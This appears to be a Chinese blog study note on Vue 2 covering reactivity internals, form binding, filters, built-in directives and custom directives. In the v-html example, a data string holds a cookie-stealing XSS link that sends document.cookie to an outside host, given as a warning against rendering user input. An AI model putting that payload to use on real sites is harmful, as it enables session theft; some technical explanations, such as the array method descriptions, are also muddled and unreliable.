vue:数据监测底层原理,表单收集,过滤器,部分vue指令,自定义vue指令

昨天也肝了一会vue但是最近面试等结果加上一系列的事情,我偷摸休息了一下午,去下象棋了,还好,水平还在,目前上到业7了,言归正传,我们的vue到这里就是基础夯实的最后一关了,到下一次的生命周期钩子函数搞完就是组件化了。


数据监测原理

我们上一次用到监视属性来监视一个属性的变化,当监视属性变化时就会触发处理函数handler()进行处理。但是当我们监视的属性是对象或者是数组的时候,不理解底层怎么进行监视处理的话,就很难找到这些情况下发生的问题了。

来我们举个例子说明一下问题(先挂上案例的代码):


    <div id="app">
        <ul>
            <button @click="updateAddress">修改林春的地址为郑州市</button>
            <li v-for="person in persons" :key="person.name">
                {{person}}
            </li>
        </ul>
    </div>
   

这里需要注意的是我们的person属性是对象类型的数据,它位于persons数组内部,这里我们将对象和数组放在一起更直观的反映问题:

         data() {
                return {
                    persons: [{
                        name: '林春',
                        age: 20,
                        address: '信阳市'
                    },
                    {
                        name: '阿三',
                        age: 22,
                        address: '武汉市'
                    }
                    ]
                }
            }

我们再看看这个修改地址的函数(当我们采用直接整体修改persons[0]这个对象时):

         methods: {
                updateAddress() {
                    this.persons[0] = {
                       name: '林春',
                       age: 20,
                       address: '郑州市'
                   }
//这种方式vue无法实时监测并修改页面内容,但是vue实例中的对象Adress属性确实发生了变化
                }
            },

我们看一下页面的呈现情况:

 我们不难看出明明我们的vm对象里的对应的persons[0]的地址已经变成了 ‘郑州市’ 但是页面上的通过v-for取到的数据竟然还是 ‘信阳市’ ?但是当我们用数组索引.key = value的方式修改,就奏效了:

            methods: {
                updateAddress() {
                   this.persons[0].address = '郑州市' 
                    //这种修改对象属性的方式vue可以实时监测到
                }
            },

来我们分析一下原理:我们知道,vue的主要data对象会在vm对象接收时以数据代理的方式被_data对象读取,这样当_data中的属性发生了改变的同时,相应的vue实例中的data对象也会做出相同的更改,但是前提是需要触发这个_data内部的getter与setter方法呀!为什么我们整个修改数组中某一个对象的全部key值时,它没有触发_data的getter方法(vue没有监测到):

这里我们模拟一个data对象:

 let data = {
            name: 'linchun',
            age: 20,
            address: '信阳市'
        }

再利用前面学过的Object.defineproperty()写一个数据代理: 

        // 利用数据代理写一个data的代理,
        // 那么当我们修改data中的name属性的时候就会触发set方法
        // 读取name的时候就能够触发get方法,但是结果是栈溢出!
        Object.defineProperty(data, 'name', {
            get() {
                return data.name
            },
            set(newVal) {
                data.name = newVal
            }
        })

这里看注释也知道产生了循环调用,因为数据代理首先是需要一个代理对象的,这里直接将源数据作为更改的一个返回代理,肯定会导致循环调用getter与setter方法导致栈内存的溢出!

其实vue对于这个是创建了一个代理对象的,对于对象类型的数据,vue采用观察者模式去造就一个观察者去观察数据变化,给出相应的动作(你可以认为观察这个动作就是我们的Object.defineProperty()方法做到的),对于数组类型的属性,vue是采取了装饰器模式,对原生的数组操作的方法加上了一些横向的织入 (类似AOP但不是)。我们看看下面这个正确的案例:

 // vue实现实时监测的原理是建立一个观察者去观察对象中属性的变化:
        // 模拟一下,创建一个观察者观察这个data对象
        // 当修改的是数组时,vue采用装饰器模式包装它的数组调用的七个方法:
        // unshift头插,shift尾删,pop头删,push尾插,splice替换,reserver反转,sort排序

        const observer = new Observer(data)
        function Observer(obj) {
            // 将data对象中的所有属性组合成数组
            const keys = Object.keys(data)

            // 现在就不会直接监测data身上的属性了,就不会出现代理时出现的循环栈溢出情况
            // 遍历这个数组,只要数组中任何一个元素发生了变化就说明data中的属性发生了变化
            keys.forEach((key) => {
                // 这个时候创建代理最合适不过
                Object.defineProperty(this, key, {
                    get() {
                        // 用数组就避免了访问与返回的一个循环调用
                        return obj[key]
                    },
                    set(newVal) {
                        // 这里也是直接修改代理对象key的value,没有动源数据
                        obj[key] = newVal
                    }
                })
            })
        }

        // 这里如果需要实现一个同步更新的话,这里的data其实就相似于vm对象里的_data
        // data = observer
        // 这里顺带一下Vue.set(target,key,value)与vm.$set(target,key,value)
        // 后期调试添加vue中的属性的方法(但是不可以在vue实例与vue的根对象里直接添加单层的响应式数据,只能在对象等添加),数据更改是后端API的事情

为什么之前整个修改persons[0]这个对象时出现了问题呢?原因是因为它属于数组类型中的一个元素,我们需要使用数组中的方法splice去替换,而不是直接利用对象式的key-value去操作。不然装饰器没用上,观察者也没观察到,确实数据已经更改,可是没有调用对应的get与set方法,就没有同步到vue的data中去。


表单收集

表单收集很简单,这里我直接把我测试的代码挂上去就行了,大家可以看看里面的某些特殊的vue指令的使用方法与场景,注释上都有:

这里准备一个表单:

<div id="app">
        <form @submit.prevent="submit">
            <hr>
            <!-- trim就是过滤前后空字符串 -->
            姓名:<input type="text" v-model.trim="User.name">
            <hr />
            <!-- number就是带一个数字类型的转换 -->
            年纪:<input type="number" v-model.number="User.age">
            <hr />
            <!-- radio与checkbox都需要进行value的预定义 -->
            性别:男<input type="radio" v-model="User.sex" value="man"> 女<input type="radio" v-model="User.sex"
                value="woman">
            <hr />
            爱好:下棋<input type="checkbox" v-model="User.hobby" value="chess"> 游戏<input type="checkbox"
                v-model="User.hobby" value="game">读书<input type="checkbox" v-model="User.hobby" value="read">
            <hr />
            地址:
            <select v-model="User.address" value="xinyang">
                <option value="xinyang">信阳</option>
                <option value="zhengzhou">郑州</option>
                <option value="nanyang">南阳</option>
                <option value="pingdingshan">平顶山</option>
                <option value="huangshi">黄石</option>
            </select>
            <hr />
            <!-- lazy是失去焦点是收集数据 -->
            其他信息:<textarea cols="30" rows="1" v-model.lazy="User.userInfo"></textarea>
            <hr />
            <input type="checkbox" v-model="User.status">勾选同意协议<a href="">用户注册协议</a>
            <hr />
            <button>提交</button>
        </form>
    </div>

再配置一下对应的vue实例:

       const vm = new Vue({
            el: '#app',
            data() {
                return {
                    User: {
                        name: '',
                        age: '',
                        sex: '',
                        hobby: [],
                        address: '',
                        userInfo: '',
                        status: ''
                    }
                }
            },
            methods: {
                submit() {
                    console.log(JSON.stringify(this.User))
                }
            },
        })

过滤器(会使就行)

过滤器能实现的事情大多数我们能用函数或者计算属性达成(就是对数据进行处理嘛)但是过滤器比较简洁(个人认为):{{ data | dataFilter}} 就利用一个管道符将数据给到过滤器:

<div id="app">
        <!-- vue会将这个date的值作为第一个参数(不管你传几个,管道符前面的永远是第一个参数)
            传递给同名的过滤器进行处理,过滤器函数的结果就是最终的结果 -->
        {{date | dateFilter}}
    </div>
    <script>
        new Vue({
            el: '#app',
            data() {
                return {
                    date: ''
                }
            },
            methods: {
                getDate() {
                    return dayjs(this.date).format('YYYY-MM-DD')
                }
            },
            computed: {
                Date() {
                    return dayjs(this.date).format('YYYY-MM-DD')
                }
            },
            // 过滤器的写法:
            filters: {
                dateFilter(value) {
                    // 处理的逻辑,利用dayjs操作时间
                    return dayjs(this.date).format('YYYY-MM-DD HH:mm:ss')

                }
            }
        })
        // 定义全局过滤器
        // Vue.filter('dateFilter', function (value) {
        //     return dayjs(value).format('YYYY年MM月DD日')
        // })
    </script>

过滤之后的页面显示的就是当前时间(按照过滤器给出的样式进行显示):


部分vue指令

 之前写过v-model,v-on,v-bind,v-if系列,v-for,v-show等等,这里我们做个补充:

    <div id="app">
        <!-- v-text不解析标签体内容,它只将自己绑定的属性值变成文本给到标签体内 -->
        <h2 v-text="text"></h2>
        <h3 v-html="str"></h3>
        <!-- v-pre是阻止编译,可以将不需要编译的纯html文本跳过编译,v-once是此标签体只编译一次,之后不再实时渲染变化
            v-pre 可以阻止编译,那么就永远不会将与它一起使用的v-cloak标记去除!所以这里的css样式一直都在,有意思吧!
            v-cloak是vue解析加载之后就祛除的标记,所以当vue脚本没有加载之前v-cloak都存在,我们可以利用css的属性选择器进行控制 -->
        <h4 v-pre v-once v-cloak>{{n}}</h4>
        <button @click="n++">点我n加一</button>
    </div>
    <script>

        const vm = new Vue({
            el: '#app',
            data() {
                return {
                    text: '这是v-text指令',
                    n: 1,
                    // 盗取cookie是xss攻击中利用注入的一种手段,所
                    // 一定不要在用户输入的地方用v-html也不要相信任何输入,越来越刑
                    str: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>百度</a>'
                }
            }
        })
    </script>

v-text不解析标签体内容,它只将自己绑定的属性值变成文本给到标签体内,v-pre是阻止编译,可以将不需要编译的纯html文本跳过编译,v-once是此标签体只编译一次,之后不再实时渲染变化, v-cloak是vue解析加载之后就祛除的标记,所以当vue脚本没有加载之前v-cloak都存在,我们可以利用css的属性选择器进行控制。里头提到了使用v-html时要慎重。防止被不轨之徒使用xss攻击。


自定义vue指令

我们也可以在vue实例的directives对象里配置我们自定义的指令,当然这里需要注意的点就是在directives对象中的this可就是window了原因是这里的对象内部填写的语句都是标准的原生js的语句,有的甚至要操作document对象,vue实例没有底层暴露使用的API。

<div id="app">
        <!-- 利用自定义指令实现点击弹窗 -->
        <h3 v-hello>点击我打招呼</h3>
        <!-- 利用自定义指令将参数放大十倍展示 -->
        <h4 v-upnum="pramter"></h4>
        <!-- 利用自定义指令将标签的背景颜色进行设置 -->
        <div v-bgcolor="color" @click="color = 'black'" style="width: 100px;height:100px;border: 3px black solid; ">
        </div>
        <input type="text" v-focus>
    </div>
    <script>
        new Vue({
            el: '#app',
            data() {
                return {
                    pramter: 10,
                    color: 'skyblue'
                }
            },
            // 自定义指令的方法内部之所以能直接使用原生js的方法,是因为内部的this全是window和原型链有关
            directives: {
                // 函数式定义指令(只配置了bind方法时) element参数是元素标签的意思
                hello(element) {
                    element.addEventListener('click', () => {
                        alert('你好')
                    })
                    // element.onclick = function () {
                    //     alert('你好')
                    // }
                },
                // 这里的binding是传递进来的参数
                upnum(element, binding) {
                    element.innerText = binding.value * 10
                },
                bgcolor(element, binding) {
                    // 对于下划线的转换可以采取驼峰
                    element.style.backgroundColor = binding.value
                },
                // 对象式自定义函数
                focus: {
                    // 指令与标签等元素成功绑定时
                    bind() {
                        console.log('bind')
                    },
                    // 指令所在元素被插入页面时
                    inserted(element) {
                        console.log('insert')
                        // 加载立即获取焦点
                        element.focus()
                    },
                    // 指令所在模板重新解析时
                    update() {
                        // 这里发现我们利用点击事件@click="color = 'black'"
                        // 修改color的值的时候,模板被重新解析了!!!vue的实时响应与渲染果然是很优秀的
                        console.log('update')
                    }
                }
            }
        })
        // 配置全局指令
        // Vue.directive('focuson', {
        //     // 指令与标签等元素成功绑定时
        //     bind() {
        //         console.log('bind')
        //     },
        //     // 指令所在元素被插入页面时
        //     inserted(element) {
        //         console.log('insert')
        //         // 加载立即获取焦点
        //         element.focus()
        //     },
        //     // 指令所在模板重新解析时
        //     update() {
        //         // 这里发现我们利用点击事件@click="color = 'black'"
        //         // 修改color的值的时候,模板被重新解析了!!!vue的实时响应与渲染果然是很优秀的
        //         console.log('update')
        //     }
        // })
    </script>

今天抓紧先下了~

 

 

 

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ForestSpringH

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值